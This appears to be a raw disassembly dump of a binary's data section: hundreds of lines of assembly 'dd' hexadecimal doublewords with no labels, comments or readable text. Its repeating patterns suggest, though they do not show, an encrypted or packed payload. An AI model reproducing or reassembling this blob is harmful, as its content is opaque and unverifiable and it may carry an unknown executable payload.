		dd 4767C5EAh, 0BE908h, 9FEB0000h, 0DB0B6BF8h, 75AA4C6Bh
		dd 5F31FF31h, 81F7B70Fh, 4E1E2EF7h, 817FB72Ch, 0FBE0E3F7h
		dd 8104B074h, 7F5250C7h, 58FC500Eh, 0E9833989h,	5AC68104h
		dd 4A2E068Ch, 14850Fh, 0F3800000h, 17E994h, 0E8410000h
		dd 12FAB024h, 0C2E4F05Dh, 0E9F99713h, 0FFFFFFB5h, 5E24DE48h
		dd 608D8D1Ah, 0F07EBF1h, 482h, 8BA6600h, 718D89D0h, 8907E41Bh
		dd 0E423FD9Dh, 0A185C707h, 0B407E42Dh, 6A000071h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0C4B2C350h, 0C01F5AB0h, 0A2CCB965h, 15B503F9h, 0C707E424h
		dd 0E422B985h, 7, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0FFE5475Ch, 0E42BF1B5h
		dd 0F9858907h, 0FF07E429h, 0E4306195h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 4FC81E3Bh, 97AD6AFCh, 1AB5858Bh, 0BD0B07E4h,	7E42A19h
		dd 95FF006Ah, 7E40E41h,	1AEBC08Bh, 498BAAA2h, 587F5FB7h
		dd 0D5D099CDh, 3CCDCDC4h, 0FDEB2C2Eh, 831778EDh, 27E902E1h
		dd 0B6000000h, 45D831h,	8 dup(0)
		dd 66E90000h, 6000005h,	62780C2Eh, 0BFD56989h, 1F35C9E3h
		dd 82982C40h, 1EF78BA7h, 88A47FD8h, 0E604DEF4h,	485E3C52h
		dd 0A9C19EB4h, 35B26215h, 13A9514Eh, 9238C70Ch,	2502EC20h
		dd 0BFD1C187h, 78B0C8A5h, 1FB3CFAAh, 0C4142C09h, 961EE562h
		dd 53BC1442h, 0D0AD7B41h, 0D9B280B8h, 558DAD86h, 0C52961BAh
		dd 44211C48h, 0F335B025h, 0E5A4DDC5h, 0F71B26B7h, 21B50E67h
		dd 83172D0Bh, 14300BA9h, 1B2F0EDCh, 0B896B0C2h,	0C29C6AA2h
		dd 0B74B30ADh, 9E071442h, 3E560D45h, 97A9C5A0h,	0F5D34AFAh
		dd 0F714BDFh, 9748649Dh, 0AA1508E7h, 1442C8D5h,	0F107E581h
		dd 0B3C51EB9h, 6CA4BC99h, 42C83DBFh, 307B5814h,	0ACE43D51h
		dd 0ADE505DEh, 0ACFFA76Eh, 113FACEEh, 34368F45h, 0EE8CCF77h
		dd 8C6AF614h, 76896476h, 5FE05B61h, 52h, 5B209288h, 746594FEh
		dd 84617B8Dh, 0F687346Ch, 0AB144242h, 6503B6EEh, 48643F86h
		dd 0E41C7510h, 0C61F3B16h, 2F26D9B4h, 1AFE05Bh,	0D8000000h
		dd 255D7D56h, 0FE1AF593h, 0FF192BC6h, 0DEF6D326h, 0A07F4D85h
		dd 73F0548Ch, 53734C33h, 0B4CCA9BFh, 7B564F20h,	0F795275Fh
		dd 30CB0319h, 62B3C9D0h, 5174C53h, 0BAF212EBh, 0F9D4727Ch
		dd 859269E6h, 0D7401442h, 97CF6C7Eh, 1DB1CDA8h,	0DA122A07h
		dd 0DE16300Ch, 0A7243310h, 144285D0h, 84BC157Eh, 858E75F2h
		dd 0E34C1442h, 275F7D57h, 0A5ED9970h, 54083C4Dh, 0E05BEADBh
		dd 841Ch, 7B564500h, 7D59275Fh,	4AC72B63h, 2C48231Ah, 9F976ADCh
		dd 6F5AA764h, 0C3613B5Dh, 0A2BC98E9h, 3E76CF6Ah, 9C7791A3h
		dd 18B64880h, 53D0203Eh, 1442A9ACh, 95AFC12Ah, 0D06AA2B6h
		dd 0D89F1C7Eh, 761442A9h, 265EFB0Dh, 0DEFAD573h, 1EF90BA6h
		dd 0E05C0711h, 14C29C7h, 39D40C24h, 432FCEE0h, 58000000h
		dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 0F95BABC7h, 42A0877Ch
		dd 5C864414h, 76476807h, 88AABC25h, 2A7D56B7h, 0FAD7374Bh
		dd 1655A1E7h, 59063E97h, 1442F6A7h, 0D787BF7Ch,	0E05BBB28h
		dd 1ADh, 7A56D600h, 7D5A2860h, 9F762D65h, 3D16B4E7h, 15F10B1Dh
		dd 474867FBh, 0BAA51767h, 8610FDE9h, 9D1AF80Ah,	13A65B57h
		dd 9CAD8925h, 0A65C581Fh, 348DF613h, 0F8D5A3DBh, 0B12E90E0h
		dd 13A65CCAh, 0EB0D1F88h, 0A8E0F8D5h, 889F7816h, 0A65C740Bh
		dd 2079E213h, 423B4DE8h, 13A65CBBh, 1F1E46C9h, 78DA2A42h
		dd 0A65C04FBh, 5769D213h, 7CF95B35h, 13A65C87h,	825EEA53h
		dd 5F3C5668h, 64410F47h, 0DD6144Ch, 0EA09E659h,	7C735FA6h
		dd 0B90962D8h, 1224401Bh, 1CE619F0h, 72EFD877h,	18000001h
		dd 0FEFC2092h, 3887CE35h, 228C0326h, 4A8B55D2h,	0E04913A6h
		dd 0E5FDDAA8h, 465E3B51h, 4B63400Eh, 580CD513h,	0A0F008E5h
		dd 0B23AC13Eh, 2F9813A7h, 74ACC8A3h, 0CEA5C7D9h, 0D876FF31h
		dd 67A6h, 444DCF00h, 46B81A6Ah,	0B835F8A0h, 1442D3C3h
		dd 6DC6268Fh, 0CFEBC6EFh, 746B6476h, 226BBD0Eh,	2FD481B9h
		dd 709442F1h, 556B4992h, 0F129821Dh, 0F22A4A23h, 3D20643Bh
		dd 77124A5Eh, 2A5A211Eh, 809B0D6Fh, 9144AF20h, 294037A2h
		dd 0A50E9442h, 8D217093h, 0D6DBC03Dh, 0DB77EBBDh, 10ABE301h
		dd 0CA5523B7h, 0E4000000h, 1C6C424Dh, 283E1CBAh, 4A4355F0h
		dd 13A6B998h, 9368E547h, 3F13A6B9h, 85E5C4D6h, 0B9D1A623h
		dd 147D13A6h, 0A6B9D2A9h, 4E6A4513h, 688861FDh,	0E33C9530h
		dd 0B500DDABh, 0D468C1D7h, 3EC2E1BEh, 263DBBD5h, 90225AB3h
		dd 0ECFE14F2h, 0A608F7F3h, 0B0F47713h, 552AA709h, 113A609h
		dd 8F6C8698h, 70089770h, 5F1AAB41h, 0A3393DBh, 5A107038h
		dd 4E427337h, 1C3BCF28h, 102E0873h, 0EFC967B7h,	0ECFE99D1h
		dd 0CD4AAC0Eh, 13A60336h, 30293BA4h, 144DF2CBh,	0ED0EEA88h
		dd 6E48ED75h, 6DA5FECEh, 78E1C0D2h, 7D957240h, 8FB78E45h
		dd 56A60887h, 7936A2D9h, 0C1BF311Ch, 0C24D387Ah, 72FA06B6h
		dd 750E312h, 19AD16F5h,	6C424D48h, 411CBA1Ch, 4052ED25h
		dd 0A9513047h, 0A42E9E13h, 0D4F4CDD6h, 30A1019Ch, 0E1197222h
		dd 8A1E3613h, 1B43EB0h,	18A0C629h, 0F70FEC06h, 495012BFh
		dd 8F4D519Ah, 0E9FB15F1h, 4825184Ch, 0A9869C30h, 0AC8B5991h
		dd 0D2A96098h, 0B6CEAB92h, 0D4EAC866h, 0CDEF019Ch, 8AC2DAB7h
		dd 657D5AF8h, 38153h, 8D100000h, 5C7E563Eh, 61795624h
		dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h
		dd 7A94703Eh, 7B9B7442h, 8950EE43h, 405E0h, 42D0000h, 87000000h
		dd 895C2404h, 0D682414h, 89000052h, 29682414h, 8900006Fh
		dd 0B850243Ch, 23167CFh, 0CD24A1BAh, 58C23142h,	8106EAC1h
		dd 224B33EAh, 14CA8177h, 811DF94Eh, 0F201D2C2h,	32396869h
		dd 24890000h, 24048324h, 13685F04h, 89000021h, 478F2414h
		dd 243C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch
		dd 815A2434h, 4C4h, 86F5E900h, 0CD4FFFF8h, 0CF6957B6h
		dd 0DA2D9145h, 0F506C799h, 0F683B816h, 0C50307EBh, 8CF2E0FFh
		dd 6DA21F9Bh, 0F12E1345h, 797A088Ch, 56317791h,	735F7EA1h
		dd 0BF493B8Dh, 67137B54h, 0D6447F84h, 0C441334Dh, 0E3BF0AFAh
		dd 7563720Bh, 0BF3D5EB7h, 0BA6A7448h, 93A40894h, 40E53A4Ch
		dd 0EC63571h, 3AF102B0h, 690561BAh, 537B5060h, 0F2387426h
		dd 0EB0A6463h, 213655C3h, 7C67301Dh, 0AEA06126h, 78612A73h
		dd 4BF759B1h, 0D26C7E55h, 0DE8502Bh, 63000000h,	0F7E443C4h
		dd 0C58D67F9h, 0AEFF6E19h, 0F3816660h, 586134FCh, 9E8h
		dd 72AA7300h, 358133C8h, 0BA6647FDh, 815EF3F5h,	66BFC0h
		dd 850F00h, 0BF000000h,	7EF9DFFh, 7B8AC781h, 800FF810h
		dd 4, 698CB966h, 8B66188Bh, 9DC381D3h, 0E815C80Dh, 9, 985D6A0Ch
		dd 8804E5B2h, 0EB81594Ah, 44F149B9h, 10D4C381h,	810F2BDCh
		dd 3, 89D2B70Fh, 29B96618h, 0BAE88154h,	6657C2C4h, 0C081F28Bh
		dd 57C2C4B6h, 81F18B66h, 1EFh, 0AD850F00h, 0FFFFFFFh, 0ECE9C9BFh
		dd 0
		dd 37000000h, 37C8106h,	587C81CEh, 57C80C0h, 0ED7C9010h
		dd 7C9010h, 276F200h, 5	dup(0)
		dd 0A0000000h, 7C80ADh,	2Bh dup(0)
		dd 6000000h, 14000000h,	0A11611EDh, 92CA11A2h, 6C21E4DBh
		dd 4D471561h, 2B07A8E5h, 65321282h, 361457Fh, 4023ADA6h
		dd 0A7BB1566h, 16D6011Fh, 61C288EBh, 97CD1280h,	9FB14D3Dh
		dd 16D61C53h, 0D8256166h, 4023AD35h, 0A7BB1566h, 16D6011Fh
		dd 6EED88EBh, 97CD1280h, 0A63D4D3Dh, 11321561h,	7E99506h
		dd 0AD53C0ECh, 22321576h, 926A205Ch, 8BBA96D6h,	6380C755h
		dd 0B19F7BB1h, 98F19C35h, 0AC2E9EBEh, 0B836D1E5h, 0DA66A8E5h
		dd 1E32128Dh, 88324DE2h, 43B71A66h, 2D321566h, 113214E5h
		dd 0DBFED66h, 43D97385h, 22339569h, 0EECB1566h,	7CB875B6h
		dd 0B2F99400h, 0A83D749Ah, 11321571h, 8832078Fh, 0DB0BCC66h
		dd 0A37A7C40h, 8F8F701Ah, 0EB8FBD0Eh, 0C9A4E2DDh, 0C95506E3h
		dd 90547561h, 98621B4h,	0F576E4ADh, 0F2CD745Bh,	3CB7D39Eh
		dd 0DE35F14Ah, 43BF1A9Eh, 2D321566h, 113214ECh,	0DA5AEC66h
		dd 0B1AEBDDEh, 373A099h, 1E521282h, 8752D3D9h, 443215EAh
		dd 4348A666h, 0B6B79807h, 0E835F2D6h, 0B8E59E00h, 42E2EA07h
		dd 11349D69h, 66B31566h, 13A595Ah, 0DA53B1D6h, 84390EFh
		dd 0EE521282h, 4EDBDFEDh, 2A321566h, 42561424h,	5FAA7DC8h
		dd 0C93D74FFh, 2232157Dh, 113DFC06h, 68411566h,	0F165B7C3h
		dd 38224A3h, 51FAEC18h,	6FB37304h, 835338C4h, 0C63F2CE3h
		dd 11321561h, 82B91A66h, 24321566h, 22329B69h, 70521566h
		dd 0A5B7D307h, 135F14Ah, 4B5B7D9Eh, 1DB9B14h, 0D321566h
		dd 1B7A7228h, 9B3496E0h, 739B4C89h, 77448C2Dh, 0A03388D3h
		dd 0EBB37561h, 56C4C83Fh, 54B79807h, 0AD35F15Dh, 2232156Fh
		dd 0FFA0E9F1h, 3849A816h, 0ADE2EA6Dh, 2232156Bh, 0BD7A5D3h
		dd 1B0FB77Dh, 97A6FB68h, 0A3B79C49h, 0E835F174h, 0A41F90A0h
		dd 4B711282h, 223214EDh, 4F5AED66h, 61AE720Dh, 4432156Eh
		dd 56340133h, 0D5461821h, 89AFA099h, 0CE521282h, 0C2E19480h
		dd 7072A258h, 88321F8Fh, 0C24CB166h, 7D9C151Ah,	9CFC00CAh
		dd 6C09C9E3h, 4CB81A61h, 2D321566h, 113217EAh, 61537566h
		dd 44321560h, 7B30D458h, 0C1CD3260h, 883C9F69h,	4B521566h
		dd 223215EDh, 8BDA9466h, 0E9673664h, 0BC0E90EFh, 2DDB128Dh
		dd 0EA321566h, 0DD6D7863h, 6E0FB63Eh, 0BF976ABh, 94F446E5h
		dd 8FD6394Bh, 4439FC32h, 0CFF51566h, 0BE820AACh, 63495B37h
		dd 2C1B7D94h, 0DDCBFB04h, 0F53388D3h, 0DBFED61h, 43D62EBAh
		dd 22299469h, 90521566h, 0AD2120AEh, 443CFC2Ah,	31C61566h
		dd 0FDCCF927h, 0DA38F9EBh, 0D7740173h, 2DBF1A07h, 0F8321566h
		dd 8832156Ch, 0C90161B4h, 697971DFh, 0C1CDD886h, 88321F8Fh
		dd 5BA3B266h, 7B8997h, 98D31CE2h, 63CA55E3h, 0C1F4E061h
		dd 25D6394Bh, 3B31A23h,	87321566h, 443219EAh, 2235FC66h
		dd 3BBE1566h, 555B4000h, 7CF07D80h, 29DBCF06h, 0AA321566h
		dd 0FC090C3Eh, 0A3120A1Ch, 97CDE64Dh, 16D614FBh, 88339F69h
		dd 0C9CE1566h, 0C609C9E3h, 13B41A61h, 0E8321566h, 24E2EA07h
		dd 2232048Eh, 0F2469766h, 12265CB0h, 24066FE5h,	466A952Bh
		dd 0FFB2639Eh, 9544BE9h, 25BCB391h, 0DA7690EFh,	1E52128Dh
		dd 954DAD1h, 25F3C385h,	227A8E5h, 1E321282h, 883314E3h
		dd 4CBA1A66h, 2D321566h, 113217EDh, 4E537566h, 0A01E38E3h
		dd 36DB5061h, 0BF321566h, 2BEC145Ah, 9D15410Dh,	88ED4B45h
		dd 396B29C0h, 749F3844h, 644C930Eh, 97CDED9Ch, 16D614FBh
		dd 80BC1A9Ah, 24321566h, 22329869h, 9C531566h, 6C09C9E3h
		dd 4BCA7561h, 223210E7h, 7F17AC66h, 77531AA4h, 0C1BBE0B6h
		dd 25D9ED2Eh, 11321E8Fh, 56556166h, 0ABC690EFh,	0D2E1524Ch
		dd 3D1F90A0h, 707E1282h, 62E2D60Eh, 3BB31A86h, 0F8321566h
		dd 88321572h, 0C4639CC4h, 1D9F57DAh, 45393387h,	45D161h
		dd 0D3EB5681h, 23AFA099h, 983D1282h, 8832156Bh,	44321D8Fh
		dd 96F93566h, 0D7DFD04h, 0DBFED7Ah, 43D62EBAh, 23B41A9Ah
		dd 0E4321566h, 0EE52C599h, 0E6ACF4E7h, 6EB79C07h, 0F835FE9Eh
		dd 88321569h, 7183A413h, 4492234Bh, 104EA845h, 61C96378h
		dd 44321460h, 223A9D69h, 913D1566h, 88321564h, 0C1F47406h
		dd 25D6394Bh, 16B61A34h, 87321566h, 443214EDh, 2F5AEC66h
		dd 0E48E5F82h, 0AA67A099h, 57DB1282h, 3B321566h, 2173FA77h
		dd 5FCC6C09h, 0F7713449h, 5963C706h, 973DBBF2h,	88321561h
		dd 4B537506h, 0AF53C6D1h, 0F509C9E3h, 83B91A61h, 0AD321566h
		dd 22321560h, 7BDDA110h, 81DBFED8h, 25321566h, 0DFDFB5A5h
		dd 2D369CA9h, 1C7C599h,	0AFCA5DE3h, 0A7F4EC61h,	16D6394Bh
		dd 48897534h, 0CF50DDBEh, 6A5A74B5h, 1E94592Ch,	883214E9h
		dd 0F1CDE966h, 25D63733h, 1132188Fh, 1092966h, 0AEAA309Eh
		dd 0A349D966h, 94BFA9CBh, 8FD62EBAh, 443DFC9Ah,	9B051566h
		dd 0D9E62168h, 0B44A39B3h, 4807A34Dh, 42E2EAC3h, 14B01A9Ah
		dd 0EE321566h, 0FF6F5E7h, 6EB79C07h, 1E35FE9Eh,	883214E0h
		dd 0C13DE066h, 22321574h, 113BFC06h, 39A61566h,	95CA2E4h
		dd 428557C8h, 94F47407h, 8FD6394Bh, 4437FC34h, 76B31566h
		dd 79122E13h, 7570A18Ch, 44321B8Fh, 0EC5B466h, 0C47BDC44h
		dd 0B0F20955h, 243B00FFh, 2D9ECFE6h, 0EE53D2D9h, 6C3388D3h
		dd 443EFC61h, 8CD41566h, 0D9265203h, 8AD96F3h, 0C1BF579Ch
		dd 25D62EBAh, 113A9F69h, 73D1566h, 44321564h, 0F2CD7406h
		dd 113A9769h, 53D1566h,	44321564h, 0A7BB7406h, 16D634EFh
		dd 0A5B7D39Eh, 3335F14Ah, 22339D69h, 79C71566h,	7BA5BDC5h
		dd 4432058Fh, 0B2210066h, 45CA7782h, 2E9943F4h,	9CDEEE75h
		dd 0C387EA85h, 0F835F17Bh, 8832156Eh, 351F6B8Bh, 0C3D55316h
		dd 2AEE90EBh, 77CE1282h, 0C1BBEDB6h, 25D61AE7h,	113E9269h
		dd 23D1566h, 44321560h,	22329C69h, 94F41566h, 8FD6394Bh
		dd 535AE034h, 42B8C857h, 11309E69h, 0E9521566h,	4432048Fh
		dd 12775966h, 0E93640C5h, 97EFCDF0h, 0BB51B40Bh, 0DD53A02Bh
		dd 0F53388D3h, 0DBFE961h, 43D62EBAh, 22369C69h,	0A0521566h
		dd 58CD7423h, 0FDB79C9Fh, 4235F143h, 11321B8Fh,	3BA90E66h
		dd 63A4343Eh, 0E9DDAEDDh, 77C2E2A3h, 4E53D3EDh,	0A01E38E3h
		dd 2D524361h, 973DD7D1h, 88321565h, 25C3A269h, 3D5F2C0Eh
		dd 0CBB975B2h, 78B97306h, 44329469h, 43531566h,	3073A099h
		dd 5CB1282h, 0A382B2E3h, 23BD1A61h, 0E9321566h,	83DBC599h
		dd 0EA321566h, 9413ED73h, 0C3F11E75h, 0DBBDBC4h, 43D60A53h
		dd 222E9169h, 963D1566h, 88321570h, 4432048Fh, 0DE322F66h
		dd 53128143h, 62FBF0CFh, 0AB6A54A1h, 0A7F4C768h, 16D6394Bh
		dd 9EB71A21h, 0AD321566h, 22321577h, 0E597AF3Bh, 12B33A9h
		dd 5B028418h, 0B43B120h, 1487D9Fh, 87DB94BAh, 6A321566h
		dd 97B3A694h, 965C44A9h, 740E0EDAh, 0F1CDC5A7h,	25D614FBh
		dd 11321B8Fh, 1BD92F66h, 99E0215Ah, 0E2917867h,	9C03355Fh
		dd 6C09C9E3h, 57BB1A61h, 0CB321566h, 11321568h,	454BF9ECh
		dd 0F4EF2E56h, 0ECBE433Bh, 0C1CDDB99h, 88339369h, 0CDCE1566h
		dd 0C62764E3h, 94F4E961h, 8FD6394Bh, 41BD1A21h,	42321566h
		dd 70EAAA69h, 8787F70Eh, 43B61AECh, 2D321566h, 113214E7h
		dd 3DCDE066h, 43D614FBh, 2232188Fh, 615E1066h, 0DDE66AEDh
		dd 0D244D629h, 0A7BFBFB8h, 16D62EBAh, 8832108Fh, 3800B266h
		dd 0F2CD576Ah, 7DB79C9Eh
		dd 6135FE9Eh, 44321576h, 0DF450A01h, 761D9867h,	0E520BF75h
		dd 0E05F1D10h, 43C7EC06h, 0BDB90A1h, 884A1282h,	0ADCB1566h
		dd 22321574h, 0A5A4299h, 973FBDBEh, 8FBA2E3Bh, 3F73A7BAh
		dd 0ACB18E22h, 8FD6367Bh, 6EB61A66h, 2D32157Fh,	113212E8h
		dd 0D2627566h, 25C7DEE6h, 0E1F90A0h, 0F87E1282h, 88321560h
		dd 0E41AC277h, 0CB5A22BEh, 1EEBCF7Ah, 883214E0h, 0F1CDE066h
		dd 25D614FBh, 11339369h, 5CE1566h, 0A009C9E3h, 0FAB37561h
		dd 35249CC0h, 0E9CC9E00h, 4FDBC599h, 0B9321566h, 0BEBDF7BAh
		dd 395E2120h, 0C1BB150Ch, 25D9ED3Eh, 1EEB9F06h,	883217E1h
		dd 25C29E66h, 0E1F90A0h, 0E47E1282h, 0FCECDB0Eh, 25CE75BBh
		dd 22321B8Fh, 0BF597866h, 4D9C9376h, 0E6272D9Ah, 0DD8461C1h
		dd 0F53388D3h, 53D7561h, 44321564h, 0F8B26AD1h,	1E527444h
		dd 883216EAh, 97B97366h, 0FEB79807h, 0E835F15Dh, 73DC599h
		dd 4432156Dh, 0E98D1A06h, 0D4A6E5E7h, 61534432h, 4432156Ch
		dd 0AD11CD4Ah, 79F98120h, 0DBB8929h, 43D9ED3Ah,	22321C8Fh
		dd 15FB3266h, 92A1DC9Ah, 56DB261Fh, 5B321566h, 0BC3CC52Ah
		dd 0A900BFD5h, 3C3C200Eh, 83478F58h, 3CB7D37Dh,	0C435F14Ah
		dd 0C60D7D9Eh, 0A33DA2E7h, 11321577h, 8832198Fh, 329D066h
		dd 4FEB9C5Ch, 633642CDh, 1587EAF4h, 2435F167h, 4593AA00h
		dd 94BF749Fh, 8FD62EBAh, 0ADE2EA9Ah, 22321569h,	0D91459C1h
		dd 0F2CCC701h, 0BBA49C07h, 0DAD0DEA0h, 0E95290EFh, 9CDB128Dh
		dd 0AE321566h, 444065FBh, 97A6268Bh, 3179575Ch,	26FEECDCh
		dd 0E4B80036h, 0F51E38E3h, 0E0CA5961h, 0F71D557Eh, 0BF87EA9Fh
		dd 1E35F167h, 883213EAh, 1E627566h, 0AF53F6ECh,	0F509C9E3h
		dd 84B01A61h, 4B321566h, 223213E6h, 11BA1A66h, 77321566h
		dd 0C4CE75B6h, 0DA5355A7h, 0E95290EFh, 53D128Dh, 44321568h
		dd 22321C8Fh, 0D86ADE66h, 2D2DB0C1h, 54DBA8E1h,	0A321566h
		dd 43125122h, 0A5F41C45h, 8C0C42Fh, 0E4AC11E5h,	0F51E38E3h
		dd 2525361h, 7410AF9Ah,	4A5324DBh, 0ABEC1372h, 7753E906h
		dd 0A03388D3h, 9D3D7561h, 70F89EA4h, 0B3EE90EBh, 0F6521282h
		dd 0F2CD7486h, 1132068Fh, 95C7D266h, 9C707CB6h,	706F418Fh
		dd 92211BB8h, 0E67DDF5Bh, 0BC5A90EFh, 0A83D128Dh, 11321568h
		dd 88321C8Fh, 770A2F66h, 7A0B5D97h, 94F4B1D1h, 8FD6394Bh
		dd 4420FC21h, 54E11566h, 0DA223C00h, 78FFAC22h,	0E3053D92h
		dd 4D7C0895h, 0CD226F0Eh, 8FB71AE7h, 24321566h,	70E29E00h
		dd 9B527438h, 51B37387h, 0BB53B131h, 0C63388D3h, 94BFED61h
		dd 8FD62EBAh, 4432198Fh, 92914866h, 6156785h, 362DCDDEh
		dd 4423FC20h, 28F41566h, 220A2F92h, 0D00B5D97h,	6BA2B1D1h
		dd 0DDAA9626h, 113DFCB6h, 2D81566h, 73F254F9h, 71028029h
		dd 620711Ch, 0F8B79C9Bh, 0BC35FE9Eh, 0E1F90A0h,	0F8751282h
		dd 88321561h, 11457275h, 4AF985E6h, 0FEB59BCAh,	882C9369h
		dd 4B521566h, 36DBC5D9h, 51321566h, 606D1F35h, 65B47844h
		dd 0AF9A4D12h, 0FAF3ACB6h, 0E943E516h, 45AFA099h, 0AFC71282h
		dd 0F509C9E3h, 883CFC61h, 71D11566h, 1D52E371h,	8EADBD1Ch
		dd 7E75026Ah, 0C03DC599h, 22321575h, 113F9D69h,	80DB1566h
		dd 6321566h, 8F99260Ch,	1EBCC3E8h, 883200EFh, 4422FC66h
		dd 0A3F21566h, 6C233E2h, 258218ADh, 81488F13h, 0A7BBAC26h
		dd 16D9ED12h, 6AB3EC06h, 58ABFB03h, 0FB7D307h, 5635F14Ah
		dd 88359369h, 0CF3D1566h, 22321567h, 0B6E07D9Eh, 77CEC1FCh
		dd 0A03388D3h, 0A3547561h, 1EB78DBCh, 553E5D1h,	0A009C9E3h
		dd 0DDCEEC61h, 1134FCB6h, 763A1566h, 0EC2855B6h, 0DA4A90EFh
		dd 0D7CE128Dh, 6C1E38E3h, 2CCA5261h, 98F32C62h,	8C87EA93h
		dd 7135F167h, 7FEE90EBh, 0DDCB1282h, 94BBECB6h,	8FD9ED1Ah
		dd 44399469h, 24DB1566h, 65321566h, 8C34EBEh, 998F967Ah
		dd 2235F148h, 11A59069h, 2521566h, 93851A8Dh, 0FB7D307h
		dd 5635F14Ah, 46E29506h, 2552749Fh, 501F720Eh, 0F9527586h
		dd 88321560h, 0E70D4A11h, 0D76C2ABCh, 0E2B87507h, 0E9537406h
		dd 4422FC06h, 6ADE1566h, 2F116CCCh, 0FE7914F5h,	16370B08h
		dd 0DD53C7F0h, 0F53388D3h, 0DBFED61h, 43D62EBAh, 223E9469h
		dd 77521566h, 0F7BE3E7h, 8AD53ADDh, 0F2CD745Bh,	11321F8Fh
		dd 0B9E5F566h, 8FC08354h, 0ABE8A238h, 0FACA95E3h, 99DB7561h
		dd 0EF321566h, 3DCAE652h, 0CE5ECFF8h, 0BD0EB78Eh, 5B0C62ACh
		dd 0FB7D307h, 5635F14Ah, 88349A69h, 17521566h, 4353753Ch
		dd 0A2837D9Eh, 0EE529B4Fh, 0FD4BF7E7h, 2234FC06h, 3A4A1566h
		dd 0CEC45004h, 0F1CD7407h, 25D614FBh, 77EA9E06h, 1A4EFEE7h
		dd 98B79807h, 2D35F15Dh, 113206E4h, 883CFC66h, 69661566h
		dd 4AB2A879h, 82370CCCh, 0CF5C04F0h, 0CB3DC599h, 22321574h
		dd 1132188Fh, 0AF8F1166h, 82CEDE0Eh, 38CA5D9Ch,	9052C5D6h
		dd 47EDD7A7h, 4439FD57h, 0AD0F1566h, 605A9856h,	8059A243h
		dd 4438FD2Eh, 0DE1566h,	0C763926Fh, 77C15C19h, 0CD534A3Eh
		dd 0C9CA91E3h, 94F4E061h, 8FD6394Bh, 0E35AE025h, 0DEF2632Ch
		dd 10AFA099h, 0F3D1282h, 44321567h, 0FEB79893h,	1E35F15Dh
		dd 883214E8h, 94CDE066h, 20BF1A06h, 9A321566h, 8837FDB1h
		dd 0BD571566h, 0CA2B7D03h, 11321569h, 0A202438Fh, 7E37E3C4h
		dd 6753CB29h, 4B09F015h, 1CE7439h, 0AFCA9DE3h, 2234FC61h
		dd 85DA1566h, 4BDA2383h, 4432078Fh, 0A57D4C66h,	0C89141A1h
		dd 5065FAD1h, 0B9366D02h, 0E4515426h, 0F51E38E3h, 80DB5961h
		dd 0FD321566h, 647CB734h, 790EDDC3h, 7354798Dh,	0A587EA9Eh
		dd 2D35F17Bh, 113214E3h, 0DBFEC66h, 43D62EBAh, 2237FC06h
		dd 5DF21566h, 0EED8730Fh, 810AC3E7h, 28BC1A07h,	71321566h
		dd 7EB37406h, 6FE32524h, 0CBE2EA07h, 1132156Dh,	0A15765C0h
		dd 0DEBE5733h, 0AB3DCCEDh, 0FACB09E3h, 8838FC61h, 100A1566h
		dd 0D1B45A34h, 8A1E2BD4h, 0A41F90A0h, 0B1761282h, 51BC400Eh
		dd 10BD1ADDh, 71321566h, 45AFA099h, 2D521282h, 9C53D5D1h
		dd 6C09C9E3h, 51B81A61h, 42321566h, 11329C69h, 8FDA1566h
		dd 8E321566h, 0F3D4F538h, 706CBFB7h, 87DBC599h,	0DC321566h
		dd 3C65A0FFh, 6ED77A2Ah, 0F29405E8h, 0C1BBC61Fh, 25D9EDEAh
		dd 113DFD06h, 4FDA1566h, 0DE658449h, 3E192702h,	60E0553Eh
		dd 528D1AE9h, 45B21A3Eh, 0DE321566h, 1DBA1A07h,	87321566h
		dd 443213E4h, 22B61A66h, 0D7321566h, 6C1E38E3h,	56DB5661h
		dd 0CF321566h, 24962FBEh, 940012C4h, 0DEDBB3F7h, 8CAEDA0h
		dd 7FCE7D5Ch, 77CEA9E8h, 0A03388D3h, 223CFC61h,	714B1566h
		dd 0ADE9387Eh, 9C661B7Fh, 0E2A93FDDh, 2AEE90EBh, 70CB1282h
		dd 0CDC7C599h, 0C9CA85E3h, 0EB51A61h, 87321566h, 44320CEDh
		dd 2226FC66h, 40561566h, 9C2F8473h, 623A3C68h, 4528CC5Ah
		dd 329BBD72h, 0DF4B408h, 43D6394Bh, 0CB52E935h,	1132156Eh
		dd 0CB816134h, 0B1B9C3E3h, 4A53DEEDh, 0D7222BCCh, 0D0CB4706h
		dd 0D987EA07h, 0CB35F167h, 1132156Bh, 66F9774Fh, 1C34E5A9h
		dd 958FF9Ch, 0CDB79892h, 0E835F15Dh, 44321C8Fh,	0D2369866h
		dd 2EC31543h, 87DBAC63h, 48321566h, 91742176h, 8DAE9F3h
		dd 0E105CF0Dh, 0BB539C89h, 34B31AB6h, 0F8321566h, 88321577h
		dd 7DF89A31h, 9E7C4D0Ch, 25359176h, 2B09FB59h, 0C1BBEC50h
		dd 25D9EDF2h, 42E99406h
		dd 37957E1h, 0F9B1749Fh, 25D6383Bh, 0B61A66h, 87321562h
		dd 44321FEDh, 2237FC66h, 82BC1566h, 61927F37h, 44321572h
		dd 0C226AAFAh, 0AF80665Ah, 4C956705h, 32D33A71h, 50F7C952h
		dd 3D1F90A0h, 61741282h, 44321577h, 0C64FA36h, 48A8DF40h
		dd 0F442B248h, 39031DACh, 0EC037D3Fh, 3DBEFF0h,	34321566h
		dd 0E704BB9Fh, 0B9AA4965h, 231BD78h, 0D5E99040h, 0D987EA39h
		dd 0DA35F167h, 2AEE90EBh, 0B3D1282h, 44321575h,	22321B8Fh
		dd 8100C666h, 0CB5C40CBh, 0E57A670h, 42D7C52Fh,	7094F3E6h
		dd 0EE52C599h, 4BDBCCEDh, 16321566h, 802AE1C6h,	0C8ED81ECh
		dd 0AC6D1F35h, 2D537844h, 113219E3h, 858C7566h,	0FF7D0316h
		dd 44CAB1A8h, 0E1B79C07h, 6135FE9Eh, 44321568h,	90737464h
		dd 27495ED2h, 1D992E50h, 0C1F4AD62h, 25D6394Bh,	1126FC20h
		dd 0EB381566h, 0F3B1B8B8h, 0DEBD2C8Fh, 0CF5234Ch, 0BCD970DCh
